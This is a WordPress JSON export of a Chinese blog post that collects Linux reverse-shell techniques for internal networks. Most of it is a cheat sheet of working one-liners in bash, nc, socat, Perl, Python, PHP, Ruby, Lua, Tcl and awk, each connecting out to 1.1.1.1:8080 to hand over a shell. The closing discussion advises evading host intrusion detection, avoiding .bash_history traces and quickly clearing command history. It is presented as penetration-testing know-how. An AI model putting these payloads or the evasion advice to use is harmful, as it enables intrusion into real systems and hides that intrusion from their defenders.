{"id":40282,"date":"2024-11-26T13:38:44","date_gmt":"2024-11-26T05:38:44","guid":{"rendered":"https:\/\/fwq.ai\/blog\/40282\/"},"modified":"2024-11-26T13:38:44","modified_gmt":"2024-11-26T05:38:44","slug":"linux%e4%b8%8b%e5%86%85%e7%bd%91%e5%8f%8d%e5%bc%b9%e6%8a%80%e5%b7%a7%e6%80%bb%e7%bb%93%e4%b8%8e%e6%9d%82%e8%b0%88","status":"publish","type":"post","link":"https:\/\/fwq.ai\/blog\/40282\/","title":{"rendered":"Linux\u4e0b\u5185\u7f51\u53cd\u5f39\u6280\u5de7\u603b\u7ed3\u4e0e\u6742\u8c08"},"content":{"rendered":"

\u901a\u5e38\uff0c\u5728\u505a\u6e17\u900f\u7684\u65f6\u5019\u4f1a\u201c\u8fd0\u6c14\u597d\u201d\uff0c\u78b0\u5230\u67d0\u4e9b\u5e94\u7528\u4e0a\u5b58\u5728\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u8fd1\u6765\u7531\u4e8ejava\u53cd\u5e8f\u5217\u5316\u548c\u4e8c\u8fdb\u5236\u7c7b\u6f0f\u6d1e\u7684\u5c42\u51fa\u4e0d\u7a77\uff0c\u4e5f\u52a0\u6301\u7740\u8fd9\u79cd\u6f0f\u6d1e\u8d8a\u53d1\u589e\u591a\u3002<\/p>\n

\u4e00\u822c\u6765\u8bf4\uff0c\u9760\u8c31\u70b9\u7684\u516c\u53f8\u90fd\u4e0d\u4f1a\u5c06\u5e94\u7528\u670d\u52a1\u5668\u76f4\u63a5\u5bf9\u5916\uff0c\u800c\u662f\u901a\u8fc7\u4ee3\u7406\u8f6c\u53d1\u6216\u6620\u5c04\u7b49\u65b9\u5f0f\u5bf9\u5916\uff0c\u5f53\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7684\u670d\u52a1\u5668\u80fd\u591f\u8bbf\u95ee\u516c\u7f51\uff08\u8fd9\u4e2a\u8981\u770b\u5177\u4f53\u60c5\u51b5\uff0c\u6bd4\u5982\u9700\u8981\u52a0\u8f7d\u516c\u7f51\u8d44\u6e90\u6216\u8005\u5176\u4ed6\u9700\u6c42\uff09\u65f6\uff0c\u53cd\u8fde\u6280\u5de7\u5c31\u4f1a\u6d3e\u4e0a\u7528\u573a\u3002<\/p>\n

\"Linux\u4e0b\u5185\u7f51\u53cd\u5f39\u6280\u5de7\u603b\u7ed3\u4e0e\u6742\u8c08\u63d2\u56fe\"<\/p>\n

\u53cd\u5f39\u6280\u5de7\u603b\u7ed3\uff1a<\/span><\/p>\n

1\u3001NC\u53cd\u5f39<\/strong> <\/p>\n

Nc 1.1.1.1 8080 -e \/bin\/bash \n<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236
\n2\u3001Bash-socket\u53cd\u5f39<\/strong>   <\/p>\n
\/bin\/bash -i > \/dev\/tcp\/1.1.1.1\/8080 0<&1 2>&1 \n<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236
\n3\u3001Shell-socket\u53cd\u5f39<\/strong>   <\/p>\n
a\uff09 exec 2>&0;0<&196;  \nexec 196<>\/dev\/tcp\/1.1.1.1\/8080;  \n sh <&196 >&196 2>&196  \nb\uff09 exec 5<>\/dev\/tcp\/1.1.1.1\/8080  \ncat <&5 | while read line; do $line 2>&5 >&5; done[\u5206\u4e24\u53e5\u6267\u884c] \n<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236
\n4\u3001\u6587\u4ef6\u7ba1\u9053-nc\/telnet\u53cd\u5f39<\/strong>   <\/p>\n
a) rm \/tmp\/f;mkfifo \/tmp\/f; \ncat \/tmp\/f|\/bin\/sh -i 2>&1|nc 1.1.1.1 8080 >\/tmp\/f \nb) rm \/tmp\/backpipe; \nmknod \/tmp\/backpipe p;\/bin\/bash 0<\/tmp\/backpipe | nc 1.1.1.1 8080 1>\/tmp\/backpipe \nc) rm \/tmp\/backpipe; \nmknod \/tmp\/backpipe p && telnet 1.1.1.1 8080 0<\/tmp\/backpipe | \/bin\/bash 1>\/tmp\/backpipe\n<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236
\n5\u3001Bash-telnet\u53cd\u5f39<\/strong>   <\/p>\n
telnet 1.1.1.1 8080 | \/bin\/bash | telnet 1.1.1.1 9090 [\u53e6\u4e00\u4e2a\u7aef\u53e3] \n<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236
\n6\u3001Socat\u53cd\u5f39<\/strong>   <\/p>\n
socat tcp-connect:1.1.1.1:8080 exec:\"bash -li\",pty,stderr,setsid,sigint,sane \n<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236
\n7\u3001\u811a\u672c\u53cd\u5f39<\/strong>   <\/p>\n
a) Perl\u53cd\u5f39 \n1) perl -e 'use Socket;$i=\"1.1.1.1\";$p=8080; \nsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); \nif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\"); \nopen(STDOUT,\">&S\");open(STDERR,\">&S\"); \nexec(\"\/bin\/sh -i\");};' \n \n2) perl -MIO -e '$p=fork; \nexit,if($p); \n$c=new IO::Socket::INET(PeerAddr,\"1.1.1.1:8080\"); \nSTDIN->fdopen($c,r); \n$~->fdopen($c,w);system$_ while<>;' \n \nb) Python\u53cd\u5f39 \npython -c 'import socket,subprocess,os; \ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \ns.connect((\"1.1.1.1\",8080)); \nos.dup2(s.fileno(),0);  \nos.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \np=subprocess.call([\"\/bin\/sh\",\"-i\"]);' \n \nc) PHP\u53cd\u5f39 \nphp -r '$sock=fsockopen(\"1.1.1.1\",8080); \nexec(\"\/bin\/sh -i < &3 >&3 2>&3\");' \n \nd) ruby\u53cd\u5f39 \nruby -rsocket -e'f=TCPSocket.open(\"1.1.1.1\",8080).to_i; \nexec sprintf(\"\/bin\/sh -i < &%d >&%d 2>&%d\",f,f,f)' \n \n2) ruby -rsocket -e 'exit if fork; \nc=TCPSocket.new(\"1.1.1.1\",\"8080\"); \nwhile(cmd=c.gets); \nIO.popen(cmd,\"r\") \n{|io|c.print io.read}end' \n \ne) lua\u53cd\u5f39 \nlua -e \"require('socket'); \nrequire('os'); \nt=socket.tcp(); \nt:connect('1.1.1.1','8080'); \nos.execute('\/bin\/sh -i < &3 >&3 2>&3');\" \n \nf) tcl\u53cd\u5f39 \necho 'set s [socket 1.1.1.1 8080]; \nwhile 42 { puts -nonewline $s \"shell>\"; \nflush $s; \ngets $s c; \nset e \"exec $c\"; \nif {![catch {set r [eval $e]} err]}  \n{ puts $s $r };  \nflush $s; };  \nclose $s;' | tclsh \n \ng) awk\u53cd\u5f39 \nawk 'BEGIN {s = \"\/inet\/tcp\/0\/1.1.1.1\/8080\"; \nwhile(42) { do{ printf \"shell>\" |& s;  \ns |& getline c;  \nif(c){ while ((c |& getline) > 0) print $0 |& s; \nclose(c); } }  \nwhile(c != \"exit\")  \nclose(s); }}' \/dev\/null \n<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236
\n8\u3001\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u53cd\u5f39<\/strong>   <\/p>\n
Socket\u7a0b\u5e8f+\u547d\u4ee4\u6267\u884c\uff0c\u8be6\u89c1metasploit\u3002<\/pre>\n
  \u767b\u5f55\u540e\u590d\u5236   <\/p>\n
\u6742\u8c08<\/span><\/p>\n
   \u5e02\u9762\u4e0a\u53cd\u5f39shell\u7684\u811a\u672c\u548c\u7a0b\u5e8f\u975e\u5e38\u591a\uff0c\u62ffmetasploit\u6765\u8bf4\uff0c\u53ef\u4ee5\u751f\u4ea7\u4e0a\u767e\u79cdshell,\u4f46\u89e3\u7801\u4ee5\u540e\u65e0\u975e\u4ee5\u4e0a\u51e0\u79cd\uff0c\u6709\u8da3\u7684\u65f6\u5019metasploit\u751f\u6210\u7684\u65e0\u8bba\u662f\u811a\u672c\u53cd\u5f39\u7a0b\u5e8f\u8fd8\u662f\u4e8c\u8fdb\u5236\u53cd\u5f39\u7a0b\u5e8f\u591a\u6570\u90fd\u662f\u81ea\u5df1\u5b9e\u73b0\u4e86system_call\uff0c\u800c\u4e0d\u662f\u8c03\u7528\u7cfb\u7edfbash\u6216\u547d\u4ee4\u4e4b\u7c7b\uff0c\u770b\u6765\u505a\u7684\u8fd8\u662f\u5f88\u826f\u5fc3\u7684\u3002<\/span><\/p>\n
   \u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u7531\u4e8e\u5927\u578b\u7532\u65b9\u516c\u53f8\u90fd\u4f1a\u6709HIDS\u9632\u62a4\uff0c\u76ee\u524d\u5df2\u77e5\u7684HIDS\uff0c\u8981\u4e48\u4fee\u6539\u4e86bash\uff0c\u8981\u4e48\u52ab\u6301glibc\uff0c\u8981\u4e48\u4fee\u6539\u7cfb\u7edf\u5e95\u5c42\uff08\u8fd9\u79cd\u53ef\u80fd\u6027\u8f83\u4f4e\uff0c\u51fa\u95ee\u9898\u7684\u51e0\u7387\u5927\uff09\u3002<\/span><\/p>\n
   \u5f53\u4f60\u89c9\u5f97\u53ef\u4ee5\u53cd\u5f39shell\u7684\u65f6\u5019\u4e00\u5b9a\u8981\u63d0\u524d\u8bc6\u522b\u597d\u73af\u5883\uff0c\u4e0d\u7136\u6267\u884c\u4e86\u4e00\u4e2abash \u2013i \u6216nc \uff0c\u5f88\u6709\u53ef\u80fd\u76f4\u63a5\u88abhids\u4e00\u6ce2\u5e26\u8d70\u3002<\/span><\/p>\n
\u6bd4\u8f83\u63a8\u8350\u4f7f\u7528shell\u5185\u7f6e\u53cd\u5f39\u6216\u811a\u672c\u7c7b\u7684\u53cd\u5f39shell\u7a0b\u5e8f\uff0c\u4e00\u822c\u7684hids\u4e0d\u4f1a\u8bb0\u5f55\uff0c\u975e\u5e38\u4e0d\u5efa\u8bae\u8c03\u7528\u7cfb\u7edfbash\u547d\u4ee4\u4ea7\u751f\u53cd\u5f39\uff0c\u8d77\u7801.bash_history\u4f1a\u59a5\u59a5\u628a\u4f60\u51fa\u5356\u6389\u3002<\/span><\/p>\n
   \u5185\u7f51shell\u53cd\u5f39\u65e0\u8bba\u5728\u6e17\u900f\u8fd8\u662f\u5728\u53cd\u6e17\u900f\u4e2d\u90fd\u662f\u4e00\u4e2a\u7ed5\u8fc7\u4e0d\u5f00\u7684\u8bdd\u9898\uff0c\u5173\u4e8e\u53cd\u5f39shell,\u5176\u4e2d\u6709\u51e0\u4e2a\u6709\u8da3\u7684\u95ee\u9898\uff1a<\/span><\/p>\n
1. \u53cd\u5f39shell\u7684\u7406\u89e3\uff1a<\/span><\/p>\n
   \u5185\u7f51shell\u53cd\u5f39\u7684\u672c\u8d28\u662f\u4e0e\u516c\u7f51\u670d\u52a1\u5668\u5efa\u7acb\u8fde\u63a5\uff0c\u5e76\u80fd\u5c06\u516c\u7f51\u670d\u52a1\u5668\u4f20\u8f93\u8fc7\u6765\u7684\u547d\u4ee4\u6267\u884c\uff0c\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\uff0c\u56e0\u6b64\u53cd\u5f39shell\u6d89\u53ca\u4e24\u4e2a\u8fc7\u7a0b\u7f51\u7edc\u5efa\u7acb+\u547d\u4ee4\u6267\u884c\uff0c\u8fd9\u4e24\u4e2a\u8fc7\u7a0b\u90fd\u662f\u8861\u91cf\u53cd\u5f39\u529f\u80fd\u7684\u6807\u51c6\uff0c\u7f51\u7edc\u5efa\u7acb\u8981\u6c42\u590d\u6742\u52a0\u5bc6\uff08\u5982msf: meterpreter_reverse_https\u7b49\uff09\uff0c\u547d\u4ee4\u6267\u884c\u5219\u8981\u6c42\u5c3d\u53ef\u80fd\u7ed5\u5f00hids\u548c\u76f8\u5173\u8bb0\u5f55\u3002<\/span><\/p>\n
2.\u4ea4\u4e92\u5f0fshell\uff1a<\/span><\/p>\n
   \u4ea4\u4e92\u5f0fshell\u662fshell\u6700\u5e38\u89c1\u7684\u4e00\u79cd\uff0c\u4ea4\u4e92\u5f0fshell\u533a\u522b\u975e\u4ea4\u4e92\u5f0fshell\u6700\u5927\u7684\u5c31\u662f\u52a0\u8f7d\u4e86\u73af\u5883\u53d8\u91cf\uff0c\u4ea4\u4e92\u5f0fshell\u7684\u4f7f\u7528\u548c\u5728\u7ec8\u7aefterminal\u4e2d\u51e0\u4e4e\u4e00\u81f4\u3002\u4e00\u822c\u6765\u8bf4\uff0c\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u53cd\u5f39\u51fa\u6765\u4ec5\u4ec5\u662f\u5b9e\u73b0\u4e86\u4e00\u4e2a\u975e\u4ea4\u4e92\u5f0fshell\u3002\u4ece\u975e\u4ea4\u4e92\u5f0fshell\u5347\u7ea7\u5230\u4ea4\u4e92\u5f0fshell,\u4e00\u4e2a\u6700\u7b80\u5355\u7684\u65b9\u5f0f\u5c31\u662f\u7528python\u811a\u672c pty.spawn(\u201c\/bin\/bash\u201d)<\/span><\/p>\n
3. \u4ea4\u4e92\u5f0fshell\u5728\u5b9e\u9645\u6e17\u900f\u8fc7\u7a0b\u4e2d\u672a\u5fc5\u6bd4\u975e\u4ea4\u4e92\u5f0fshell\u597d\uff0c\u56e0\u4e3a\u6709\u7ecf\u9a8c\u7684\u7532\u65b9\u90fd\u4f1a\u5bf9\u73af\u5883\u53d8\u91cf\u3001shell\u7ec8\u7aef\u52a0\u8f7d\u6587\u4ef6\u5982.bashrc\u3001bash_profile\u7b49\u8fdb\u884c\u5b89\u5168\u5904\u7406\uff0c\u76f4\u63a5\u63d0\u5347\u5230\u4ea4\u4e92\u5f0fshell\uff0c\u89e6\u53d1HIDS\u544a\u8b66\u7684\u53ef\u80fd\u6027\u8f83\u9ad8\uff08\u5f53\u7136\u5e76\u975e\u7edd\u5bf9\uff09\u3002<\/span><\/p>\n
\uff08Ps:\u5982\u679c\u4f60\u4f7f\u7528\u522b\u4eba\u7684\u5de5\u5177\uff0c\u53cd\u5f39\u4e86shell\uff0c\u5374\u4e0d\u6e05\u695a\u662f\u4e0d\u662f\u4ea4\u4e92\u5f0fshell\uff0c\u4e00\u4e2a\u7b80\u5355\u7684\u65b9\u6cd5\u5c31\u662f\u6267\u884chistory\u548cset\u547d\u4ee4\uff0c\u5982\u679c\u90fd\u6709\u6b63\u5e38\u8fd4\u56de\uff0c\u90a3\u4f60\u5c31\u8981\u5f53\u5fc3\u4e86\uff0c\u4f60\u53ef\u80fd\u83b7\u53d6\u4e86\u4e00\u4e2a\u4ea4\u4e92\u5f0fshell\uff0c\u5c3d\u5feb\u6e05\u9664history\u5427\u3002\uff09<\/span><\/p>\n
\u4ee5\u4e0a\u5c31\u662fLinux\u4e0b\u5185\u7f51\u53cd\u5f39\u6280\u5de7\u603b\u7ed3\u4e0e\u6742\u8c08\u7684\u8be6\u7ec6\u5185\u5bb9\uff0c\u66f4\u591a\u8bf7\u5173\u6ce8\u7c73\u4e91\u5176\u5b83\u76f8\u5173\u6587\u7ae0\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
\u901a\u5e38\uff0c\u5728\u505a\u6e17\u900f\u7684\u65f6\u5019\u4f1a\u201c\u8fd0\u6c14\u597d\u201d\uff0c\u78b0\u5230\u67d0\u4e9b\u5e94\u7528\u4e0a\u5b58\u5728\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u8fd1\u6765\u7531\u4e8ejava\u53cd\u5e8f\u5217\u5316\u548c\u4e8c\u8fdb\u5236\u7c7b\u6f0f\u6d1e\u7684\u5c42\u51fa\u4e0d\u7a77\uff0c\u4e5f\u52a0\u6301\u7740\u8fd9\u79cd\u6f0f\u6d1e\u8d8a\u53d1\u589e\u591a\u3002 \u4e00\u822c\u6765\u8bf4\uff0c\u9760\u8c31\u70b9\u7684\u516c\u53f8\u90fd\u4e0d\u4f1a\u5c06\u5e94\u7528\u670d\u52a1\u5668\u76f4\u63a5\u5bf9\u5916\uff0c\u800c\u662f\u901a\u8fc7\u4ee3\u7406\u8f6c\u53d1\u6216\u6620\u5c04\u7b49\u65b9\u5f0f\u5bf9\u5916\uff0c\u5f53\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7684\u670d\u52a1\u5668\u80fd\u591f\u8bbf\u95ee\u516c\u7f51\uff08\u8fd9\u4e2a\u8981\u770b\u5177\u4f53\u60c5\u51b5\uff0c\u6bd4\u5982\u9700\u8981\u52a0\u8f7d\u516c\u7f51\u8d44\u6e90\u6216\u8005\u5176\u4ed6\u9700\u6c42\uff09\u65f6\uff0c\u53cd\u8fde\u6280\u5de7\u5c31\u4f1a\u6d3e\u4e0a\u7528\u573a\u3002 \u53cd\u5f39\u6280\u5de7\u603b\u7ed3\uff1a 1\u3001NC\u53cd\u5f39 Nc 1.1.1.1 8080 -e \/bin\/bash  \u767b\u5f55\u540e\u590d\u5236 2\u3001Bash-socket\u53cd\u5f39 \/bin\/bash -i > \/dev\/tcp\/1.1.1.1\/8080 0<&1 2>&1 \u767b\u5f55\u540e\u590d\u5236 3\u3001Shell-socket\u53cd\u5f39 a\uff09 exec 2>&0;0<&196; exec 196<>\/dev\/tcp\/1.1.1.1\/8080; sh <&196 >&196 2>&196 b\uff09 exec 5<>\/dev\/tcp\/1.1.1.1\/8080 cat <&5 | while read line; do $line 2>&5 >&5; done[\u5206\u4e24\u53e5\u6267\u884c] \u767b\u5f55\u540e\u590d\u5236 4\u3001\u6587\u4ef6\u7ba1\u9053-nc\/telnet\u53cd\u5f39 a) rm \/tmp\/f;mkfifo \/tmp\/f; cat \/tmp\/f|\/bin\/sh -i 2>&1|nc 1.1.1.1 8080 >\/tmp\/f b) rm \/tmp\/backpipe; mknod […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-40282","post","type-post","status-publish","format-standard","hentry","category-os"],"_links":{"self":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts\/40282","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/comments?post=40282"}],"version-history":[{"count":0,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts\/40282\/revisions"}],"wp:attachment":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/media?parent=40282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/categories?post=40282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/tags?post=40282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}